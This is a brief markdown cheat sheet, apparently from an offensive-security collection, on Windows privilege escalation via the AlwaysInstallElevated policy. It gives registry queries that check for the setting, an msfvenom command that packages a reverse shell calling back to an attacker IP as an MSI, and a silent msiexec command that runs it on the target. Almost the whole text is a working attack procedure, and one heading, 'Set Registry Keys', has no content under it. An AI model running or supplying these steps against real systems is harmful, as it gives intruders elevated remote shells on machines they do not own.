killchain-compendium/Exploits/Windows/Always Install Elevated.md

AlwaysInstalledElevated

• Watch out for AlwaysInstalledElevated keys inside the registry via

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

• Prepare reverse shell on attacker as an msi file

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi

• start the msi on target

msiexec /quiet /qn /i C:\Temp\shell.msi

Set Registry Keys

• Alternative method

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer